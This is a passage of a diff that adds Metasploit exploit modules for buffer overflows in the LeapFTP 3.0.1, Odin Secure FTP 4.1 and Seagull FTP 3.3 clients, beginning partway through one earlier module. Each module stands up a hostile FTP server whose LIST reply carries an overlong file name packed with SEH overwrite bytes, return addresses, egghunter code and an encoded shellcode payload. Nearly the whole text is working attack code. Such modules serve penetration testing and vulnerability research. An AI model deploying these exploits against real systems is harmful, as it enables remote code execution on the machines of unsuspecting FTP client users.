#Setup for the shellcode
offset_to_nseh = target['Offset']
jmpback = "\xeb\x8d\xfe\xff\xff"
nseh = "\xeb\xf9\x41\x41"
seh = [target.ret].pack('V')
strfile = "A" * (offset_to_nseh-@hunter.length-5)
strfile << @hunter
strfile << jmpback
strfile << nseh
strfile << seh
print_status(" - Sending directory list via data connection")
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 #{strfile}.txt\r\n\r\n"
conn.put(dirlist)
conn.close
print_status(" - Payload sent, wait for hunter...")
return
end
end

View File

@ -0,0 +1,101 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'LeapFTP 3.0.1. SEH Overwrite',
'Description' => %q{
This module exploits a SEH overwrite in the LeapFTP 3.0.1 client
triggered when a file with a long name is downloaded/opened.
},
'Author' =>
[
'corelanc0d3r', # Original bug, completed MSF module
'nullthreat' # Ported PoC to MSF
],
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Offset' => 528,'Ret' => 0x0042A8A8 } ], # ADD ESP,64, POP EBX, RET :) boy I love pvefindaddr
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
# create the egg hunter
badchars = ""
eggoptions =
{
:checksum => true,
:eggtag => "W00T"
}
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
# Get the file ready
junk = "\x73\x65" #73 65 = jump over filename = "se"
junk << "cret admin passwords.txt"
junk << "_" * ((target['Offset'])-junk.length-hunter.length) # _ = POP EDI
junk << hunter
seh = [target.ret].pack('V')
shellcode = egg + egg + payload.encoded
junk2 = rand_text_alpha((2000 - shellcode.length))
payload = junk + seh + shellcode + junk2
strfile = payload
print_status(" - Sending directory list via data connection")
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{strfile}.txt\r\n"
conn.put("total 2\r\n"+dirlist)
conn.close
return
end
end

View File

@ -0,0 +1,105 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Odin Secure FTP 4.1 Stack Buffer Overflow (LIST)',
'Description' => %q{
This module exploits a stack buffer overflow in Odin Secure FTP 4.1, triggered when processing the response on a LIST command. During the overflow, a structured exception handler record gets overwritten.
},
'Author' =>
[
'rick2600', #found the bug
'corelanc0d3r', #wrote the exploit
],
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP SP3 Universal', { 'Offset' => 264, 'Ret' => 0x10077622 } ], # ppr [appface.dll]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
badchars = ""
eggoptions =
{
:checksum => true,
:eggtag => "W00T"
}
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
badchars = "\x00\xff\x0d\x5c\x2f\x0a"
hunterenc = Msf::Util::EXE.encode_stub(framework, [ARCH_X86], hunter, ::Msf::Module::PlatformList.win32, badchars)
offset_to_nseh=target['Offset']
jmpback = "\xe9\x9c\xff\xff\xff"
nops = "A" * 30
filename = "A" * (offset_to_nseh-hunterenc.length-jmpback.length)
nseh = "\xeb\xf9\x42\x42"
seh = [target.ret].pack('V')
junk2 = "A" * 4000
buffer = filename + hunterenc + jmpback + nseh + seh + junk2 + egg
print_status(" - Sending directory list via data connection")
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n"
conn.put(dirlist)
conn.close
print_status(" - Payload sent, wait for hunter...")
return
end
end

View File

@ -0,0 +1,116 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::Omelet
def initialize(info = {})
super(update_info(info,
'Name' => 'Seagull FTP v3.3 build 409 Client',
'Description' => %q{
This module exploits a SEH overwrite in the Seagull FTP client that gets triggered
when the ftp clients processes a response to a LIST command. If the response contains
an overly long file/folder name, a buffer overflow occurs, overwriting a structured
exception handler..
},
'Author' =>
[
'corelanc0d3r' # found bug, wrote the exploit
],
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => '\x00',
'StackAdjustment' => -1500,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP Universal', { 'Offset' => 232, 'Ret' => 0x7CE4650C } ], # jmp esp shell32.dll
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
#---------------------------------------------------------------------------------
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
print_status("Handling LIST command")
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
crash = "A" * target['Offset']
crash << [target.ret].pack('V')
#corelanc0d3r's omelet mixin
thepayload = ("\x90" * 30) + payload.encoded
omeletoptions =
{
:eggsize => 123,
:eggtag => "00w",
:searchforward => true,
:reset => false,
:checksum => true
}
badchars = '\x00'
omelet = generate_omelet(thepayload,badchars,omeletoptions)
omeletcode = omelet[0]
print_status("[+] Omelet code : #{omeletcode.length} bytes")
print_status("[+] Number of eggs : #{omelet[1].length}")
print_status("[+] Sending payload")
crash << ("\x90" * 30) + omeletcode
print_status(" - Sending directory list via data connection")
dirlist = ""
omelet[1].each do |thischunk|
print_status(" [+] Planted egg of #{thischunk.length} bytes")
dirlist << "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{thischunk}\r\n"
end
dirlist << "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{crash}\r\n"
conn.put("total #{omelet[1].length+1}\r\n"+dirlist)
conn.close
print_status(" - Wait for omelet hunter...")
return
end
end